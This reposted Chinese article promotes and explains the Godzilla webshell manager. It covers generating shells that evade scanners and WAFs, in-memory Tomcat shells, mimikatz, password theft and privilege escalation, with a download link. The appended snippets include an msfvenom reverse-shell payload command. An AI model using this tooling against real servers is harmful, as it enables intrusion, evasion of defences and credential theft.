哥斯拉Godzilla shell管理工具

各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋友甚至连不上冰蝎的shell,

于是团队的BeiChenDream师傅开发了这款“哥斯拉“  本文出自ChaBug Y4er师傅

 

简单使用方法

在哥斯拉安装之前,你需要安装jdk1.8的环境。双击Godzilla.jar打开,此时会在同目录下生成data.db数据库存放数据。首页长这样

图片

点击 管理–添加 生成所需的webshell,哥斯拉支持jsp、php、aspx等多种载荷,java和c#的载荷原生实现AES加密,PHP使用亦或加密。生成时需要记住自己的生成配置用以链接时用。

图片

以java的jsp为例,填写密码和密钥,生成jsp/jspx。本文以tomcat7来演示一些功能。将shell.jsp放入tomcat使用哥斯拉链接。点击目标–添加

图片

图片

选中shell右键选择进入即可进入shell管理界面。

图片

jsp/jspx的shell功能如图

图片

php的功能如图

图片

aspx/ashx/asmx的功能如图

图片

简单使用介绍就到这里。

一些特性

为什么我放着冰蝎、蚁剑还有什么天蝎不用而要用你的哥斯拉?

  1. 哥斯拉全部类型的shell均过市面所有静态查杀

  2. 哥斯拉流量加密过市面全部流量waf

  3. 哥斯拉的自带的插件是冰蝎、蚁剑不能比拟的

静态免杀就不说了,工具放出来之后可能会免杀一段时间就不行了,当然随便改改就能继续过。重点是看流量加密和一些自带的插件。

流量加密

先来看流量加密,仍然以jsp为例,修改链接配置里的代理选项为http代理,让流量代理到Burp中。

图片

执行dir命令的请求包

图片

 

响应包

图片

或许你说headers里的一些ua和Accept太扎眼了,别担心,这些可以自己配置。

在shell编辑的请求配置中修改

图片

或者在配置–全局配置中修改

图片

此时在看请求包和响应包完全没有特征

图片

图片

并且在请求包的thisisleftData和thisisrightData可以修改为其他杂乱数据来进行干扰。到这里还不说一句哥斯拉天下第一?

插件模块

一些基本的模块比如:基本信息、文件管理、命令执行我这里就不再赘述了。

数据库管理

相信大家在使用蚁剑的时候没少碰到过连不上数据库的情况,我自己碰到过一个环境就是shell所在的tomcat container没有jdbc的jar包依赖导致连不上数据库,偏偏蚁剑没什么好办法。而在哥斯拉中就不必担心这个问题,在数据库管理中哥斯拉会先从容器中加载可用的jdbc,如果没有就通过内存加载jar驱动来链接数据库。

内存shell

内存shell模块实现了在tomcat中注册、卸载内存马

图片

你可以直接注册一个哥斯拉的马或者冰蝎、菜刀的马,甚至是regeorg。

图片

比如注册一个/Godzillashell进去

图片

访问发现存在

图片

直接哥斯拉链接就行了。内存shell 无日志,会在tomcat重启后消失。

屏幕截图

点截图会自动保存预览,在windows上需要shell权限够大。

图片

虚拟终端

这个功能其实是在本地监听端口,通过shell与服务器交互实现cmdshell。点击start之后执行nc 127.0.0.1 4444链接本地4444获取cmdshell。

图片

如果不使用nc链接的话会一直占用本地4444端口。用完请exit或点击stop。

JMeterpreter

图片

不用说了 看图就会

ServletManage

用来管理servlet,方便管理内存shell。

图片

JarLoader

图片

用其加载jar包,主要用途就是加载jdbc。

JZip

图片

打包全站的好助手。

ByPassOpenBasedir

图片

BypassDisableFunctions

图片

笔记

笔记模块是jsp\php\aspx都有的模块

图片

ShellCodeLoader

直接通过shell来加载shellcode,或者弹meterpreter

图片

SafetyKatz

mimikatz 需要高权限

图片

lemon

抓常用软件密码

图片

BadPotato

图片

    

提权模块,源于 https://github.com/BeichenDream/BadPotato

SharpWeb

图片

参考 https://github.com/djhohnstein/SharpWeb

SweetPotato

图片

提权模块

其他选项

配置-程序配置中可以修改字体大小,重启后生效。

图片

关闭提示语不解释了,上帝模式开启会使文件管理复杂化。

图片

免责声明

  1. 程序仅限服务器管理使用,切勿用于非法用途,非法使用造成的一切后果由自己承担,与作者无关。

  2. 由于用户滥用造成的一切后果与作者无关。

  3. 使用本程序请自觉遵守当地法律法规,出现一切后果均与作者无关。

  4. 本程序及代码均不得用于商业用途,仅作学习交流,违者必究。

下载地址:https://github.com/BeichenDream/Godzilla/

 

更多精彩实战文章关注微信公众号:None安全团队

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358759.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Fabric8在Kubernetes中使用Camel和CDI

序幕 我最近在博客上发表了使用CDI注入Kubernetes服务的信息 。 在本文中,我将更进一步,将Apache Camel带入图片。 因此,我将使用Camel的CDI支持来连接我的组件和路由,以及Fabric8的CDI扩展来自动将Kubernetes服务注入到我的组件中…

sql双表查询java代码_原生sql 多表查询

Session session Session session super.getSession();session.flush();Connection con session.connection();String uid"";StringBuffer sql new StringBuffer();sql.append("select a.user_Id from user_info as a");//user用户表sql.append( left j…

写lua时需要注意的地方

条件语句判断时,只有false和nil会导致判断为假,其他的任何值都为真。 Lua 的字符串与编码无关; 它不关心字符串中具体内容。标准 Lua 使用 64 位整数和双精度(64 位)浮点数, 但你也可以把 Lua 编译成使用 3…

免费的人脸识别SDK(基于 Java 实现的人脸识别功能)

人脸识别技术是很复杂的,自己用Java手撕一个识别算法有点不切实际, 毕竟实力不允许我这么嚣张,还是借助三方的SDK吧! 免费的人脸识别SDK: ArcSoft:,地址:https://ai.arcsoft.com.cn 基于 Jav…

git信息泄露漏洞

git信息泄露漏洞 当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 危害 攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据…

java实验文法报告_西安邮电大学编译原理LL文法分析器实验(java).doc

西安邮电大学编译原理LL文法分析器实验(java)《编译原理》实验报告题目: 语法分析器的制作学生姓名:班 级: 软件1202学 号:指导教师:成 绩:西安邮电大学计算机学院2015 年 6 月 7 日一:实验目的熟悉语法分析的过程;理解相关文法的步骤;熟悉Fi…

PHP 数据库 ODBC

PHP 数据库 ODBC ODBC 是一种应用程序编程接口(Application Programming Interface,API),使我们有能力连接到某个数据源(比如一个 MS Access 数据库)。 创建 ODBC 连接 通过一个 ODBC 连接,您可…

bash简介

目录 Shell 的含义 Shell 的种类 命令行环境 终端模拟器 命令行提示符 进入和退出方法 Shell 和 Bash 的历史 <

功能项目拼图将Java 9引入

因此&#xff0c;拼图项目...我们已经对此颇为了解&#xff0c;但尚未看到计划如何兑现其承诺的细节。 这篇文章将精确地做到这一点&#xff0c;并介绍项目的核心概念和功能。 系列 这篇文章是正在进行的有关拼图项目系列的一部分。 按照推荐的顺序&#xff08;不同于发布顺序…

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么&#xff1f;因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF&#xff0c;演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

Bash脚本教程之基本语法

目录 echo 命令 -n参数 -e参数 命令格式 空格 分号 命令的组合符&&和|| type 命令 快捷键

qq音乐mp3解析php源码,QQ音乐API

QQ音乐API搜索歌曲API&#xff1a;&aggr1&cr1&loginUin{3}&formatjson&inCharsetGB2312&outCharsetutf-8&notice0&platformjqminiframe.json&needNewCode0&p{1}&catZhida0&remoteplacesizer.newclient.next_song&w{0}{0}需…

OpenCV与YOLO学习与研究指南

引言 OpenCV是一个开源的计算机视觉和机器学习软件库&#xff0c;而YOLO&#xff08;You Only Look Once&#xff09;是一个流行的实时对象检测系统。对于大学生和初学者而言&#xff0c;掌握这两项技术将大大提升他们在图像处理和机器视觉领域的能力。 基础知识储备 在深入…

2015年 六·一 儿童节——我

现是2015年的六一儿童节。按说儿童节对于一个己20岁的成年女生来讲已毫无渊渊&#xff0c;于是乎&#xff0c;我花费了将近半个下午的时间来解析自己&#xff1a;是否真的已经成人&#xff1f; 首先在外形上&#xff0c;毋庸置疑&#xff0c;已长成了大人的样子。158cm身高&…

目录爆破工具 -- dirsearch

我记得&#xff0c;以前总会和你聊的很晚很晚&#xff0c;现在我们不再说话了&#xff0c;我还是会熬夜&#xff0c;但我想&#xff0c;不如从今天开始早点睡吧。。。 一、环境&#xff1a;Kali2020.01、Python3.0 二、安装过程&#xff1a; 1、复制dirsearch到本地安装包 gi…

网页 php pdf文件怎么打开是乱码,打开php文件乱码的解决方法

打开php文件乱码的解决方法发布时间&#xff1a;2021-02-14 11:45:35来源&#xff1a;亿速云阅读&#xff1a;94作者&#xff1a;小新小编给大家分享一下打开php文件乱码的解决方法&#xff0c;相信大部分人都还不怎么了解&#xff0c;因此分享这篇文章给大家参考一下&#xff…

Bash教程之模式扩展

目录 简介 波浪线扩展 ? 字符扩展 * 字符扩展 方括号扩展 [start-end] 扩展 大括号扩展 {start..end} 扩展

java coin介绍_代码示例中的Java 7:Project Coin

java coin介绍该博客通过代码示例介绍了一些新的Java 7功能&#xff0c;这些项目在Project Coin一词下进行了概述。 Project Coin的目标是向JDK 7添加一组小的语言更改。这些更改确实简化了Java语言语法。 更少的打字&#xff0c;更简洁的代码&#xff0c;愉悦的开发人员&#…

如何设置浏览器禁止使用UC浏览器

通过UA可以判断浏览器是否是UC浏览器 if(navigator.userAgent.indexOf(UCBrowser)>-1) { alert("当前浏览器不支持本站&#xff0c;建议更换为QQ浏览器"); } 转载于:https://www.cnblogs.com/mqingqing123/p/4555188.html

Bash脚本教程之引号和转义

目录 转义 单引号 双引号 Here 文档 Here 字符串 转义 某些字符在 Bash 里面有特殊含义(比如$、&、*)。 $ echo $date$ 上面例子中,输出$date不会有任何结果,因为$是一个特殊字符。 如果想要原样输出这些特殊字符,就必须在它们前面加上反斜杠,使其变成普通字…